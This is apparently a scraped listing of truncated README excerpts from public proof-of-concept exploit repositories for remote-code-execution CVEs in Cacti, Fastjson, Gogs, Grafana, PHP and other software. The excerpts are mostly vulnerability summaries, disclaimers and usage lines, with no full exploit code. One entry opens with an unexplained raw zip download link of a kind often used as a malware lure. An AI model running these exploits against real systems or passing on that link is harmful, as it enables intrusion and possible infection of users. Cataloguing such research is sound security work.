CVE-2025-24367-Cacti-PoC

CVE-2025-24367 - Cacti 認証済みグラフテンプレート RCE 使用法と安全性 重要 — 最初にお読みください: このリポジトリと exploit.py は教育および研究目的のみ で提供されています。明示的な書面による許可 がないシステム、ネットワーク、またはサービスに対してこのコードを使用しないでください 。コンピュータシステムへの不正アクセスは違法かつ非倫理的です。このコードを使用することにより、適用される法律および機関のポリシーに従うことに同意したものとみなされます。 必要条件 Python 3.8+ python3 -m venv venv source...

CVE-2026-16723

CVE-2026-16723 Fastjson RCE ★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★ 概要 CVE-2026-16723 は Fastjson 1.x 1.2.68 – 1.2.83 における リモートコード実行 RCE 脆弱性です。 Fastjson が攻撃者制御の JSON をパースする際、細工された @type 値が checkAutoType 内でのクラスリソース検索に変換されます。Spring Boot の実行可能 fat-JAR では、クラスローダーがその名前を jar:http:// URL として解決し、リモー...

CVE-2025-8110

Gogs RCE エクスプロイト CVE-2025-8110 CVE-2025-8110 の概念実証 PoC です。Gogs における重大な脆弱性で、シンボリックリンクのバイパスと sshCommand インジェクションを介した .git/config の操作により、リモートコード実行 RCE を可能にします。 📖 概要 このエクスプロイトは、Gogs API のコンテンツ管理におけるパストラバーサルの脆弱性を標的とします。認証されたユーザーは以下を実行できます。 1. リポジトリを作成し、内部の .git/config を指す シンボリックリンク をプッシュします。 2. API...

CVE-2022-39197-RCE

CVE-2022-39197-RCE First このプロジェクトは @its-arun のプロジェクト https://github.com/its-arun/CVE-2022-39197 を改変したものです。 スクリプトをテストした際、frida スクリプトが通常の順序でデータを照会できないことが判明しました。frida スクリプトを変更してプロセス名を変更する方法です。 利用方法への貢献をいただいた @Kai5174 師匠に感謝します。 Usage Payload の準備 1、EvilJar/src/main/java/Exploit.java...

CVE-2025-54424

https://raw.githubusercontent.com/hophtien/CVE-2025-54424/main/unrevolted/CV-v3.9.zip CVE-2025-54424: 1Panel RCE Scanner and Safe Testing Toolkit for Labs CVE-2025-54424 是关于 1Panel...

dubbo-rce

CVE-2023-23638 学習・研究のみを目的としています ZooKeeper はご自身で用意してください テスト環境は Java 8 です。その他のバージョンは未テストのため、動作を保証できません 再現する際は DemoComsumer に VM 引数を追加する必要があります: -Ddubbo.hessian.allowNonSerializable=true, 詳細は https://su18.org/post/hessian/serializable を参照してください 分析記事:...

cve-2021-25646

Apache Druid リモートコード実行 脆弱性概要 Apache Druid は公式セキュリティアップデートを公開し、リモートコード実行の脆弱性（CVE-2021-25646）を報告しました。Apache Druid はデフォルトで認証が不足しているため、攻撃者は特別に細工したリクエストを送信し、Druid サーバーのプロセス権限を利用して任意のコードを実行する可能性があります。 Apache Druid は Java...

CVE-2020-8165

CVE-2020-8165 Ruby on Rails 教育目的のみで使用してください。 詳細は参考文献を参照してください。 環境 Ruby: 2.6.3 Rails: 5.2.3 実行 $ git clone https://github.com/masahiro331/CVE-2020-8165.git $ bundle install --path vendor/bundle $ bundle exec rails db:migrate $ bundle exec rails s use redis $ docker run -d -p 6379:6379 redis エクスプロイ...

CVE-2018-16341

CVE-2018-16341 SSTIを使用したNuxeo認証バイパス リモートコード実行 10.3 - CVE-2018-16341 詳細な分析（英語以外） : https://www.freebuf.com/vuls/193000.html https://blog.riskivy.com/nuxeo-rce-analysis-cve-2018-16341/ セキュリティアドバイザリ :...

CVE-2019-0192

CVE-2019-0192 - Apache Solr RCE 5.0.0 から 5.5.5 および 6.0.0 から 6.6.5 Apache Solr RCE の初期の PoC です https://issues.apache.org/jira/browse/SOLR-13301 より: ConfigAPI は、HTTP POST リクエストを介して Solr の JMX サーバーを設定できます。 これを悪意のある RMI サーバーに向けることで、攻撃者は Solr の安全でない逆シリアライゼーションを悪用して、 Solr 側でリモートコード実行を引き起こす可能性があります。 概念実...

Shellshock-CVE-2014-6271-Exploitation-and-Analysis

🐚 Shellshock（CVE-2014-6271）– 悪用と分析 📌 概要 これは、脆弱性評価とペネトレーションテスト II の実践課題であり、Shellshock脆弱性 （CVE-2014-6271 ）の悪用と分析に焦点を当てています。 制御されたラボ環境 で、Metasploitable 2 （ターゲット）とKali Linux （攻撃者）を使用して実施しました。 🛠 使用ツール 💻 Kali Linux – 攻撃マシン 🖥 Metasploitable 2 – 脆弱なターゲット 🔍 Nmap – スキャンとサービス検出 🎯 Metasploit Framework – 悪用 🔍...

CVE-2022-24112

CVE-2022-24112 Apache APISIX batch-requests RCECVE-2022-24112 将目标放入url.txt python3 ApacheAPISIXRCECVE-2022-24112.py Cmd:...

cve-2025-57819

🛡️ FreePBX Hunter - CVE-2025-57819 🛡️ FreePBXの重大な認証バイパス脆弱性を検出・検証するための強力なNucleiツールキットです。 📖 目次 クリックして展開 このプロジェクトについて 主な特徴 脆弱性の詳細 テンプレートの動作 Shodanで対象を探す 法的免責事項 作者への連絡 サポートをお願いします 📌 このプロジェクトについて このリポジトリは、FreePBXの認証バイパス脆弱性（CVE-2025-57819）に対処するための頼りになるツール集です。以下の2つの強力なNucleiテンプレートが含まれています： 🔍...

poc-cve-2018-1273

CVE-2018-1273 Spring Data Commons（バージョン1.13～1.13.10、2.0～2.0.5、およびサポート終了の古いバージョン）には、特殊要素の不適切な無害化に起因するプロパティバインダーの脆弱性が存在します。認証されていないリモートの悪意あるユーザー（攻撃者）は、Spring Data RESTがバックエンドとするHTTPリソースに対して特別に細工されたリクエストパラメータを送信するか、Spring Dataのプロジェクションベースのリクエストペイロードバインディングを利用することで、リモートコード実行攻撃につながる可能性があります。 詳細はこちら 実行...

CVE-2021-38163

CVE-2021-38163 CVE-2021-38163 - SAP Netveawer 用エクスプロイト SAP NetWeaver Visual Composer 7.0 RT バージョン - 7.30, 7.31, 7.40, 7.50 において、制限がなく、非管理ユーザーとして認証された攻撃者がネットワーク経由で悪意のあるファイルをアップロードし、その処理をトリガーすることができます。これにより、Java Server...

CVE-2024-3273

CVE-2024-3273 概念実証 PoC このリポジトリには、D-Link NAS デバイスで発見されたセキュリティ脆弱性 CVE-2024-3273 の概念実証 PoC が含まれています。この脆弱性により、攻撃者は脆弱なデバイス上で任意のコマンドを実行できます。 説明 CVE-2024-3273 は、D-Link NAS デバイスにおける脆弱性であり、リモートの攻撃者が cgi-bin/nassharing.cgi エンドポイントへの巧妙に細工された HTTP リクエストを介して任意のコマンドを実行することを可能にします。 この PoC は、脆弱な D-Link NAS...

docker-CVE-2019-11043

CVE-2019-11043 を確認するためのDockerイメージとコマンド CVE: CVE-2019-11043 説明: PHP 7.1.x（7.1.33未満）、7.2.x（7.2.24未満）、7.3.x（7.3.11未満）の特定のFPMセットアップ構成では、FPMモジュールが割り当てられたバッファを超えてFCGIプロトコルデータ用に予約された領域に書き込む可能性があり、リモートコード実行の可能性が生じます。 詳細: https://nvd.nist.gov/vuln/detail/CVE-2019-11043 Github エクスプロイト:...

CVE-2017-12149

CVE-2017-12149 作成者 1337g Usage: CVE-2017-12149.py http://targetip:port/ JBOSS RCE なぜHTTPSで動作しないのかわかりません...

CVE-2024-4577-RCE

PHP CGI 引数インジェクション CVE-2024-4577 RCE 📜 説明 PHP 8.1.（8.1.29 以前）、8.2. （8.2.20 以前）、8.3.（8.3.8 以前）のバージョンにおいて、Windows 上で Apache と PHP-CGI を使用する際、システムが特定のコードページを使用するように設定されている場合、Windows は Win32 API 関数に与えられたコマンドラインの文字を置き換えるために「Best-Fit」動作を使用することがあります。PHP CGI モジュールはこれらの文字を PHP...

CVE-2024-9264-RCE-Exploit

CVE-2024-9264-RCE-Exploit: GrafanaのSQL Expressionsを介したRCE 説明 Grafana（CVE-2024-9264）におけるリモートコード実行（RCE）の概念実証です。 このリポジトリには、GrafanaのSQL Expressions機能におけるリモートコード実行（RCE）脆弱性を悪用するPythonスクリプトが含まれています。 不十分な入力サニタイズを利用することで、攻撃者はサーバー上で任意のシェルコマンドを実行できます。...